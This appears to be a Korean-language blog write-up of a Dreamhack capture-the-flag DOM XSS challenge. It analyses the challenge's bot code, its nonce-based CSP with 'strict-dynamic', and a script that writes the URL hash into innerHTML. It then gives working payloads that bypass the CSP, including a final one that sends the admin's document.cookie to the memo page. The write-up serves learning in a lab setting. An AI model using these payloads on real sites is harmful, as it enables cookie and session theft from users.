[Dreamhack] DOM XSS


풀이

문제에 접속하면 다음과 같이 vuln, memo, flag 페이지가 존재한다.

image-20241103171753298


vuln 페이지에 접속해보니 param 파라미터에 dreamhack.io에 있는 이미지를 img 태그를 이용해서 이미지를 삽입하고 있다. 그리고 # 뒤에는 dreamhack 이라고 되어 있는데 # 뒤에 있는 문자열은 서버로 요청이 전송되지 않고 클라이언트에게만 응답된다.

image-20241103172030550


# 문자 뒤에 있었던 dreamhack 문자열을 <script>alert(1)</script>로 변경하고 페이지를 새로고침하니 페이지에 url 인코딩 되어 출력된다.

image-20241103172524942


memo 페이지에서는 이전에 풀었던 xss 문제들처럼 memo 파라미터에 있는 문자열을 방문할 때마다 하나씩 추가되고 있다.

image-20241103172722014


flag 페이지에서는 아마도 관리자 권한으로 param 파라미터 값과 # 문자 뒤에 페이로드를 삽입할 수 있도록 폼이 존재하고 있다.

image-20241103172916927


이쯤에서 문제 파일의 코드를 한 번 살펴보자.

read_url 함수를 먼저 살펴보면 쿠키에 domain 속성을 추가하여 127.0.0.1 에서만 작동하게 될 수 있도록 하고, 관리자 권한으로 쿠키를 추가하고 인자에 설정된 url에 접속한다.

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


바로 아래에 있는 check_xss 함수에서는 관리자 권한으로 접속해서 vuln 페이지에 param 파라미터 값과 # 뒤에 페이로드를 삽입해서 관리자의 쿠키를 탈취해야 한다는 것을 알 수 있다.

def check_xss(param, name, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}#{name}"
    return read_url(url, cookie)


여기서 @app.after_request는 flask에서 매 요청이 처리되고 나서 실행되는 핸들러이다. add_header 함수를 살펴보면 전역변수로 nonce를 설정하고, 1바이트는 16진수로 2자리로 표현할 수 있기 때문에 32자리인 것을 알 수 있다. CSP에 대해서는 아래에 대해서 정리했다.

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"
    nonce = os.urandom(16).hex()
    return response


이 CSP 헤더에서 strict-dynamic 이라는 옵션을 처음 봤는데 이 옵션이 추가되면 script 지시문에서 nonce 값이 일치하는 스크립트면 self를 무시할 수 있고, 추가 스크립트를 동적으로 로드할 때 동적으로 로드된 스크립트도 실행된다고 한다.

1. default-src 'self'
- 다른 출처에서 스크립트나 리소스를 가져올 수 없음
2. img-src https://dreamhack.io
- 이미지는 dreamhack.io 출처에서만 로드 가능 
3. style-src 'self' 'unsafe-inline'
-  CSS 스타일 시트는 현재 도메인에서 로드되며, 인라인 스타일도 허용
4. script-src 'self' 'nonce-{nonce}' 'strict-dynamic'
- 스크립트는 현재 도메인에서 로드할 수 있으며, nonce 값을 가진 스크립트 허용,  'strict-dynamic'을 추가하여 script-src에서 정의한 출처('self')보다 nonce나 hash 기반의 신뢰가 우선


나머지 코드에서는 별다르게 볼 건 없고, 문제 사이트 안에서의 코드를 살펴보니 아래와 같은 자바스크립트 코드가 작성되어 있는 것을 볼 수 있다. 해석해보면 id가 name인 요소를 선택해서 location.hash.slice(1)를 사용해 # 뒤에 오는 문자열을 가져와 innerHTML로 삽입하는 것을 알 수 있다.

<script nonce="">
    window.addEventListener("load", function() {
      var name_elem = document.getElementById("name");
      name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
    });
 </script>


<div id="name">asd</div>#bbb 를 파라미터 값으로 넘겨주니 div 태그 안에 #뒤에 있는 문자열인 bbb가 bbb is my name으로 삽입되어 있는 것을 알 수 있다. 따라서 이를 script 태그로 작성하고 # 뒤에 있는 문자를 alert(1)//로 바꿔주면 뒤에 있는 문자열들이 주석처리 되어 실행될 것이다.

image-20241121222822419

image-20241121222837670


<script id="name"></script>#alert(1)// 를 넘겨주니 alert(1)이 잘 실행된 것을 볼 수 있다.

image-20241121223128764

image-20241121223136302


이제 flag 페이지에서 관리자의 쿠키를 이용해 document.cookie를 memo 페이지에 작성하면 된다. memo 페이지에서는 아래처럼 파라미터가 memo로 되어 있으니 location 함수를 이용해 '/memo?memo=' 까지 적고 뒤에 + document.cookie를 입력해주는데 주석처리까지 해주어야 페이로드가 잘 실행된다.

image-20241121223610005

image-20241121223827445


최종적으로 아래와 같이 페이로드를 입력해주면 memo페이지에 flag가 나온 것을 확인할 수 있다.

<script id="name"></script>          location='/memo?memo='+document.cookie//

스크린샷 2024-11-21 오후 10.41.03

댓글남기기